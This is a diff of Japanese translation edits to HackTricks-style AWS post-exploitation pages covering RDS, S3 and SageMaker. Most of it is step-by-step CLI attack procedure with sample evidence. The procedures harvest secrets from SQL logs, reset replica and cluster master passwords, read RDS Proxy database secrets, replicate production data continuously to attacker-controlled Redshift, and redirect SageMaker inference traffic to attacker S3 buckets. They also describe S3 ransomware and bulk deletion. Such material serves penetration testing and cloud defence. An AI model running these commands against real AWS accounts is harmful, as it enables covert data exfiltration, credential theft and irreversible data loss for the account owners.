aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL エンジン (再起動が必要):
|
||||
- PostgreSQL エンジン（再起動が必要）:
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -260,7 +260,7 @@ aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) ログを検出してダウンロードする（DB creds は不要）
|
||||
5) ログを発見してダウンロードする（DB creds は不要）
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,18 +271,18 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) 機密データをオフラインで分析する
|
||||
6) オフラインで機密データを分析する
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
証拠の例（編集済み）:
|
||||
証拠の例 (編集済み):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
クリーンアップ
|
||||
- パラメータをデフォルトに戻し、必要に応じて再起動してください:
|
||||
- パラメータをデフォルトに戻し、必要な場合は再起動する:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
影響: Post-exploitation により、AWS APIs を介してアプリケーションのすべての SQL ステートメントをキャプチャすることでデータにアクセスでき（no DB creds）、secrets、JWTs、PII を leaking する可能性があります。
|
||||
影響: ポストエクスプロイテーションで、AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることでデータへアクセス可能（no DB creds）、potentially leaking secrets, JWTs, and PII。
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS の read replica を悪用して、プライマリのインスタンス資格情報に触れることなくオフバンドで読み取りアクセスを取得できます。攻撃者は本番インスタンスから read replica を作成し、replica の master password をリセットできます（これは primary を変更しません）。さらに、replica を公開してデータを exfiltrate することも可能です。
|
||||
RDS の読み取りレプリカを悪用して、プライマリインスタンスの資格情報に触れずにアウトオブバンドの読み取りアクセスを得る。攻撃者は本番インスタンスから読み取りレプリカを作成し、レプリカのマスターパスワードをリセット（これはプライマリを変更しない）、必要に応じてレプリカを公開してデータを exfiltrate することができる。
|
||||
|
||||
Permissions needed (minimum):
|
||||
必要な権限（最小）:
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
影響: 攻撃者が制御する資格情報でアクセス可能な read-only な replica 経由で本番データの読み取りが可能になります。primary が触られず replication が継続するため、検出される可能性は低くなります。
|
||||
影響: 攻撃者が管理する資格情報を持つレプリカ経由で本番データへの読み取り専用アクセスが得られる。プライマリに手を触れずレプリケーションが継続するため、検知されにくい。
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -340,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
証拠例（MySQL）:
|
||||
- レプリカDBのステータス: `available`、読み取りレプリケーション: `replicating`
|
||||
- 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。
|
||||
Example evidence (MySQL):
|
||||
- レプリカDBステータス：`available`、読み取りレプリケーション：`replicating`
|
||||
- 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスを確認
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境へクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりステルス性が高く、ソースのみを監視している検知を回避しやすいです。
|
||||
RDS Blue/Green を悪用して、本番DBを継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green マスターの資格情報をリセットして、blue（prod）インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりもステルス性が高く、ソースのみを監視している監視を回避することが多いです。
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,21 +393,21 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
影響: 読み取り専用だが、本番環境のほぼリアルタイムなクローンに対して完全なデータアクセスが可能で、本番インスタンスを変更せずにステルスなデータ抽出やオフライン解析に有用です。
|
||||
影響: 読み取り専用だが、本番インスタンスを変更せずにほぼリアルタイムの production クローンに対する完全なデータアクセスを得られる。ステルスなデータ抽出やオフライン分析に有用。
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
ターゲットクラスターでRDS Data APIのHTTP endpointを有効化し、マスターパスワードを自分で制御できる値にリセットして、HTTPS経由でSQLを実行します（VPCネットワーク経路は不要）。Data API/EnableHttpEndpointをサポートするAuroraエンジンで動作します（例: Aurora MySQL 8.0 provisioned; 一部のAurora PostgreSQL/MySQLバージョン）。
|
||||
Aurora を悪用してターゲットクラスタで RDS Data API の HTTP endpoint を有効化し、master password を自分が制御する値にリセットして、HTTPS 経由で SQL を実行する（VPC ネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作する（例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン）。
|
||||
|
||||
必要な権限（最小）:
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
影響: ネットワーク分割を回避し、DBへの直接的なVPC接続なしにAWS APIs経由でデータをexfiltrateできます。
|
||||
影響: ネットワーク分割をバイパスし、DB への直接的な VPC 接続がなくても AWS API 経由でデータを exfiltrate できる。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI（Aurora MySQL の例）</summary>
|
||||
<summary>エンドツーエンド CLI (Aurora MySQL の例)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -460,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
注意:
|
||||
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
|
||||
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
|
||||
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
|
||||
- rds-data によって multi-statement SQL が拒否される場合は、個別に execute-statement を呼び出してください。
|
||||
- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。
|
||||
- エンジン／バージョンが実際に Data API をサポートしていることを確認してください。そうしないと HttpEndpointEnabled は False のままになります。
|
||||
|
||||
|
||||
### RDS Proxy の認証シークレットから DB 認証情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### RDS Proxy の auth secrets を介して DB 資格情報を取得する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager のシークレットを特定し、そのシークレットを読み取ってデータベースの認証情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 認証情報への低摩擦なピボットが可能になります。もしシークレットが CMK を使用している場合、権限が正しくスコープされていない KMS 権限により `kms:Decrypt` が可能になることもあります。
|
||||
RDS Proxy の設定を悪用してバックエンド認証に使われる Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤った範囲の KMS 権限により `kms:Decrypt` も可能になることがあります。
|
||||
|
||||
必要な権限（最小）:
|
||||
- `rds:DescribeDBProxies`
|
||||
- 参照されている SecretArn に対する `secretsmanager:GetSecretValue`
|
||||
- シークレットが CMK を使用している場合のオプション: そのキーに対する `kms:Decrypt`
|
||||
- `secretsmanager:GetSecretValue` を参照される SecretArn に対して
|
||||
- secret が CMK を使用している場合のオプション: そのキーに対する `kms:Decrypt`
|
||||
|
||||
影響: プロキシに設定された DB のユーザー名/パスワードが即時に露呈し、直接の DB アクセスやさらなる横展開が可能になる。
|
||||
影響: プロキシに設定された DB のユーザー名／パスワードが即座に開示され、直接の DB アクセスやさらなる横移動を可能にします。
|
||||
|
||||
手順
|
||||
```bash
|
||||
@@ -515,15 +515,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### ステルスな継続的 exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
### Aurora zero‑ETL to Amazon Redshift 経由のステルスな継続的データ流出 (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが制御する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy があると、攻撃者は DB creds、snapshots、あるいはネットワーク公開なしでほぼリアルタイムのデータコピーを確立できます。
|
||||
Aurora PostgreSQL zero‑ETL 統合を悪用して、本番データを自分が管理する Redshift Serverless namespace に継続的に複製します。特定の Aurora クラスタ ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift リソースポリシーがあれば、攻撃者は DB 資格情報、スナップショット、ネットワーク公開なしでほぼリアルタイムのデータコピーを確立できます。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (クエリ実行用)
|
||||
- `rds-data:ExecuteStatement` (オプション；必要に応じてデータ投入用)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (クエリ用)
|
||||
- `rds-data:ExecuteStatement` (任意; 必要ならデータ投入用)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -544,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Aurora ソースを許可するように Redshift のリソースポリシーを構成する</summary>
|
||||
<summary>2) Redshift のリソースポリシーを設定して Aurora ソースを許可する</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -575,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL クラスターを作成する（Data API と logical replication を有効にする）</summary>
|
||||
<summary>3) Aurora PostgreSQL クラスターを作成する (Data API と logical replication を有効化)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -606,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDS から zero‑ETL インテグレーションを作成する</summary>
|
||||
<summary>4) RDSからzero‑ETL integrationを作成する</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -632,10 +632,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
テストで観察された証拠:
|
||||
- redshift describe-inbound-integrations: Integration arn:...377a462b-... の Status が ACTIVE
|
||||
- SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた
|
||||
- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧で schema ztl と table customers が表示され、ztl.customers から SELECT すると 2 行 (Alice, Bob) が返った
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に表示していた。
|
||||
- CREATE DATABASE FROM INTEGRATION 実行後、テーブル一覧で schema ztl と table customers が見つかり、ztl.customers からの選択は 2 行 (Alice, Bob) を返した。
|
||||
|
||||
影響: 攻撃者が制御する Redshift Serverless に対して、選択された Aurora PostgreSQL テーブルが継続的かつほぼリアルタイムで exfiltration される。これは database credentials、backups、または network access to the source cluster を使用せずに行われる。
|
||||
影響: 攻撃者が制御する Redshift Serverless へ、選択した Aurora PostgreSQL テーブルを database credentials、backups、または source cluster への network access を使用せずに継続的かつ準リアルタイムに exfiltration できる。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - S3 ポストエクスプロイテーション
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -12,30 +12,30 @@ For more information check:
|
||||
|
||||
### 機密情報
|
||||
|
||||
バケット内で読み取り可能な状態の機密情報が見つかることがあります。たとえば、terraform state に含まれる秘密情報などです。
|
||||
バケット内に平文で機密情報が置かれていることがあります。例えば、terraform state secrets。
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 書き込み権限を持つ攻撃者は、バケット内の **code** を改変して他のプラットフォームへ **pivot** したり、JSファイルを変更してアカウントを **takeover** したりする可能性があります。
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウント内に作成した KMS キーを使用します。攻撃者はこの **key** を世界中の誰でも利用できるようにして、任意の AWS ユーザー、ロール、またはアカウントがこのキーでオブジェクトを暗号化できるようにします。ただし、オブジェクトの復号はできません。
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
|
||||
攻撃者はターゲットの **S3 bucket** を特定し、様々な方法でそこへの書き込み権限を取得します。これはバケットの設定不備により公開されている場合や、攻撃者が AWS 環境自体へアクセスを得た場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを標的にします。
|
||||
攻撃者は標的の **S3 bucket and gains write-level access** を特定し、さまざまな方法で書き込み権限を取得します。これはバケットの設定不備で公開されている場合や、攻撃者が AWS 環境自体へ侵入した場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。
|
||||
|
||||
ターゲットのバケットがランサムウェアの対象になり得るかを判断するため、攻撃者はその設定を確認します。これには **S3 Object Versioning** が有効かどうか、**multi-factor authentication delete (MFA delete)** が有効かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は作業を進められます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **Object Versioning を無効化** できます。両方とも有効であれば、そのバケットをランサムウェア化するのはより困難になります。
|
||||
ランサムウェアの対象にできるかを判断するため、攻撃者はバケットの設定を確認します。これには **S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete) is enabled** かを検証することが含まれます。Object Versioning が有効でない場合は攻撃者は進行できます。Object Versioning は有効でも MFA delete が無効であれば、攻撃者は **disable Object Versioning** することができます。もし両方が有効であれば、そのバケットをランサムウェア化するのはより困難になります。
|
||||
|
||||
攻撃者は AWS API を使って、**バケット内の各オブジェクトを自分の KMS キーで暗号化したコピーに置き換えます**。これによりバケット内のデータが事実上暗号化され、キーがなければアクセス不能になります。
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. これによりバケット内のデータが実質的に暗号化され、キーがなければアクセス不能になります。
|
||||
|
||||
さらに圧力をかけるため、攻撃者は攻撃で使用した KMS キーの削除をスケジュールすることがあります。これにより、キーが削除されデータが永久に失われる前にターゲットに 7 日間の復旧猶予を与えます。
|
||||
さらに圧力をかけるために、攻撃者は攻撃に使用した KMS key の削除をスケジュールすることがあります。これにより対象はキーが削除されデータが恒久的に失われる前の7日間で回復を試みる必要が生じます。
|
||||
|
||||
最後に、攻撃者は通常 "ransom-note.txt" という名前の最終ファイルをアップロードし、ファイルの回収方法についての指示を記載します。このファイルは暗号化せずにアップロードされ、ターゲットの注意を引きランサムウェア攻撃を知らせる目的があります。
|
||||
最後に、攻撃者は通常 "ransom-note.txt" と名付けた最終的なファイルをアップロードし、ファイルの取得方法についての指示を記載します。このファイルは暗号化せずにアップロードされ、対象の注意を引きランサムウェア攻撃に気づかせるために使われます。
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
s3:RestoreObject 権限を持つ攻撃者は Glacier や Deep Archive にアーカイブされたオブジェクトを復活させ、一時的にアクセス可能にできます。これにより、通常は手の届かない履歴的なアーカイブデータ（バックアップ、スナップショット、ログ、証明書、古いシークレットなど）の回収や流出が可能になります。攻撃者がこの権限を読み取り権限（例: s3:GetObject）と組み合わせると、機密データの完全なコピーを取得できます。
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. これにより通常は手の届かない過去にアーカイブされたデータ（バックアップ、スナップショット、ログ、証明書、古いシークレット等）の復旧やexfiltrationが可能になります。もし攻撃者がこの権限を読み取り権限（例: s3:GetObject）と組み合わせれば、機密データの完全なコピーを取得することができます。
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
s3:Delete* 権限を持つ攻撃者はオブジェクト、バージョン、バケット全体を削除でき、バックアップを破壊し、即時かつ不可逆的なデータ損失、証拠の破壊、バックアップやリカバリに関連するアーティファクトの改ざんや破損を引き起こす可能性があります。
|
||||
s3:Delete* 権限を持つ攻撃者は、オブジェクト、バージョン、バケット全体を削除したり、バックアップを妨害したりして、即時かつ回復不能なデータ損失、証拠の破壊、バックアップやリカバリのアーティファクトの侵害を引き起こす可能性があります。
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**詳しくは** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**詳細については** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
SageMaker の endpoint 管理を悪用して、モデルやコンテナに触れることなくリクエスト／レスポンスを攻撃者管理の S3 バケットへフルキャプチャできるようにする。ゼロ／低ダウンタイムのローリングアップデートを使用し、必要なのは endpoint 管理権限のみ。
|
||||
SageMaker のエンドポイント管理を悪用して、モデルやコンテナに触れずにリクエスト/レスポンスを攻撃者管理の S3 バケットへ完全にキャプチャ可能にする手法。zero/low‑downtime のローリングアップデートを使用し、必要なのはエンドポイント管理の権限のみ。
|
||||
|
||||
### 要件
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket`（または同じアカウント内の既存バケットを使用）
|
||||
- 任意（SSE‑KMS を使用する場合）: `kms:Encrypt` on the chosen CMK
|
||||
- Target: 同じアカウント/リージョン内の既存の InService real‑time endpoint
|
||||
- S3: `s3:CreateBucket` (または同一アカウント内の既存バケットを使用)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: 同一アカウント/リージョン内の既存の InService real‑time endpoint
|
||||
|
||||
### 手順
|
||||
1) InService endpoint を特定し、現在の production variants を収集する
|
||||
### Steps
|
||||
1) InService エンドポイントを特定し、現在の production variants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) captures 用の attacker S3 destination を準備する
|
||||
2) キャプチャ用の attacker S3 宛先を準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) 同じバリアントを保持したまま新しい EndpointConfig を作成し、attacker bucket への DataCapture を有効化する
|
||||
3) 既存のvariantsを保持しつつ、DataCaptureを攻撃者のバケットに有効化する新しいEndpointConfigを作成する
|
||||
|
||||
注意: CLI の検証を満たす明示的なコンテンツタイプを使用してください。
|
||||
注意: CLIの検証を満たす明示的なcontent typesを使用すること。
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) rolling update で新しい config を適用する（ダウンタイム最小/なし）
|
||||
4) 新しいconfigをローリングアップデートで適用する（ダウンタイム最小/なし）
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) 少なくとも1回の inference call を実行する（ライブトラフィックが存在する場合はオプション）
|
||||
5) 少なくとも1回の推論呼び出しを生成する（ライブトラフィックが存在する場合は任意）
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) 攻撃者 S3 のキャプチャを検証する
|
||||
6) attacker S3 にある captures を検証する
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### 影響
|
||||
- ターゲットのエンドポイントから攻撃者管理下の S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード（およびメタデータ）を完全に流出させることが可能。
|
||||
- model/container image を変更せず、エンドポイントレベルの変更のみで済むため、運用への影響を最小限に抑えたステルスなデータ窃取経路を実現できる。
|
||||
- 対象 endpoint から攻撃者が管理する S3 バケットへ、リアルタイムの推論リクエストおよびレスポンスのペイロード（およびメタデータ）を完全に持ち出す。
|
||||
- model/container image には変更を加えず、endpoint レベルの変更のみで、運用への影響を最小限に抑えたステルスなデータ盗難経路を実現する。
|
||||
|
||||
|
||||
## SageMaker 非同期推論出力 hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
## SageMaker 非同期推論出力のハイジャック（UpdateEndpoint AsyncInferenceConfig を介して）
|
||||
|
||||
現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論の出力を攻撃者管理下の S3 バケットへリダイレクトする。これにより model/container を変更することなく、モデルの予測結果（およびコンテナが含める変換済み入力）を流出させることができる。
|
||||
現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、endpoint 管理を悪用し、非同期推論の出力を攻撃者管理の S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測結果（およびコンテナによって含まれる変換済み入力）を持ち出すことができます。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: モデル実行ロール経由、または寛容なバケットポリシーにより攻撃者の S3 バケットへ書き込み可能であること
|
||||
- Target: 非同期呼び出しが使用されている（または使用される予定の）InService エンドポイント
|
||||
- S3: 攻撃者が管理する S3 バケットに書き込む能力（モデル実行ロールまたは許容的なバケットポリシー経由）
|
||||
- Target: 非同期呼び出しが行われている（または行われる予定の）InService endpoint
|
||||
|
||||
### 手順
|
||||
1) ターゲットのエンドポイントから現在の ProductionVariants を収集する
|
||||
1) ターゲット endpoint から現在の ProductionVariants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucketを作成する（model execution roleがそれに対してPutObjectできることを確認する）
|
||||
2) attacker bucket を作成する（model execution role がそれに PutObject できることを確認する）
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig をクローンし、AsyncInference の出力を attacker bucket に hijack する
|
||||
3) Clone EndpointConfig を行い、AsyncInference outputs を attacker bucket に hijack する
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) async invocation をトリガーし、オブジェクトが攻撃者の S3 に格納されることを確認する
|
||||
4) async invocation をトリガーし、オブジェクトが攻撃者の S3 バケットに格納されることを確認する
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### 影響
|
||||
- 非同期推論の結果（およびエラー本文）を攻撃者が制御する S3 にリダイレクトし、モデルコードやイメージを変更せず、ダウンタイムを最小限またはゼロに抑えたまま、コンテナが生成する予測結果および前処理/後処理された機密性の高い入力を密かに流出させることを可能にします。
|
||||
